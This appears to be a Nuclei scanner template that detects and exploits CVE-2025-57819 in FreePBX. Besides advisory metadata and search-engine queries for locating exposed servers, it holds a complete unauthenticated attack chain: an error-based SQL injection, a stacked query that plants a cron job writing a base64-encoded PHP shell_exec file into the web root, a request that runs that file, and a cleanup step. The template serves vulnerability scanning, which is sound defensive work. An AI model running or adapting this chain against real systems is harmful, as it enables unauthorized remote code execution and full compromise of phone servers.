id: CVE-2025-57819

info:
  name: FreePBX - Remote Code Execution
  author: watchtowr,pussycat0x,DhiyaneshDk
  severity: critical
  description: |
    FreePBX 15, 16, and 17 contain a remote code execution caused by insufficiently sanitized user-supplied data in endpoints, letting unauthenticated attackers manipulate the database and execute code remotely, exploit requires no authentication.
  impact: |
    Unauthenticated attackers can manipulate database records through SQL injection and achieve remote code execution through file upload path traversal, achieving complete system compromise.
  remediation: |
    Upgrade FreePBX to version 15, 16, or 17 with the latest security patches and lock down administrator access as described in the FreePBX security advisory.
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-57819
    epss-score: 0.76726
    epss-percentile: 0.98971
    cpe: cpe:2.3:a:sangoma:freepbx:*:*:*:*:*:*:*:*
  reference:
    - https://github.com/FreePBX/security-reporting/security/advisories/GHSA-m42g-xg4c-5f3h
    - https://community.freepbx.org/t/security-advisory-please-lock-down-your-administrator-access/107203
    - https://github.com/watchtowrlabs/watchTowr-vs-FreePBX-CVE-2025-57819
    - https://labs.watchtowr.com/you-already-have-our-personal-data-take-our-phone-calls-too-freepbx-cve-2025-57819/
  metadata:
    vendor: sangoma
    product: freepbx
    shodan-query:
      - http.title:"freepbx"
      - http.favicon.hash:"-1908328911"
      - http.favicon.hash:"1574423538"
      - http.title:"freepbx administration"
    fofa-query:
      - icon_hash="-1908328911"
      - icon_hash="1574423538"
      - title="freepbx administration"
      - title="freepbx"
    google-query:
      - intitle:"freepbx administration"
      - intitle:"freepbx"
  tags: cve,cve2025,freepbx,sqli,rce,kev,intrusive,vkev,vuln

variables:
  filename: "{{to_lower(rand_text_alpha(5))}}"
  username: "{{to_lower(rand_text_alpha(6))}}"
  cmd: "PD9waHAgaGVhZGVyKCd4X3BvYzogQ1ZFLTIwMjUtNTc4MTknKTsgZWNobyBzaGVsbF9leGVjKCd1bmFtZSAtYScpOyB1bmxpbmsoX19GSUxFX18pOyA/Pgo="

flow: http(1) || http(2) && http(3) && http(4)

http:
  # Step 1: SQL Injection Detection in brand parameter
  - method: GET
    path:
      - "{{BaseURL}}/admin/ajax.php?module=FreePBX%5Cmodules%5Cendpoint%5Cajax&command=model&template=x&model=model&brand=x' AND EXTRACTVALUE(1,CONCAT('~USER:',(SELECT USER()),'~')) -- "

    matchers:
      - type: regex
        part: body
        name: sqli
        regex:
          - 'XPATH syntax error.*~.*~'
          - 'utility.functions.php'
          - '~USER:([^~]+)~'
        condition: and

    extractors:
      - type: regex
        part: body
        group: 1
        regex:
          - '~USER:([^~]+)~'

  # Step 2: RCE Exploitation - Create cron job with self-deleting PHP payload
  - raw:
      - |
        GET /admin/ajax.php?module=FreePBX%5Cmodules%5Cendpoint%5Cajax&command=model&template=x&model=model&brand=x'%20;INSERT%20INTO%20cron_jobs%20(modulename,jobname,command,class,schedule,max_runtime,enabled,execution_order)%20VALUES%20('sysadmin','{{username}}','echo%20%22{{cmd}}%22%7Cbase64%20-d%20%3E/var/www/html/{{filename}}.php',NULL,'*%20*%20*%20*%20*',30,1,1)%20--%20 HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - "contains(body, 'Whoops') && status_code == 500"
        internal: true

  # Execute self-deleting PHP payload and verify RCE
  - raw:
      - |
        @timeout: 80s
        GET /{{filename}}.php?x={{wait_for(70)}} HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        name: rce
        dsl:
          - "contains(x_poc, 'CVE-2025-57819')"

    extractors:
      - type: dsl
        dsl:
          - body

  # Cleanup - Delete the poc cron job
  - raw:
      - |
        GET /admin/ajax.php?module=FreePBX%5Cmodules%5Cendpoint%5Cajax&command=model&template=x&model=model&brand=x'%20;DELETE%20FROM%20cron_jobs%20WHERE%20jobname='{{username}}'%20--%20 HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        name: cleanup
        dsl:
          - "contains(body, 'Whoops') && status_code == 500"
        internal: true
# digest: 4b0a00483046022100d6f2fd7975d2dc4542913a0a118f56d958798ff7f3623089a39881aaa4c34e1b022100a349228368054a412e65ed3bf5b35d439eac4bfcbef2565abdd423bfa59ea719:922c64590222798bb761d5b6d8e72950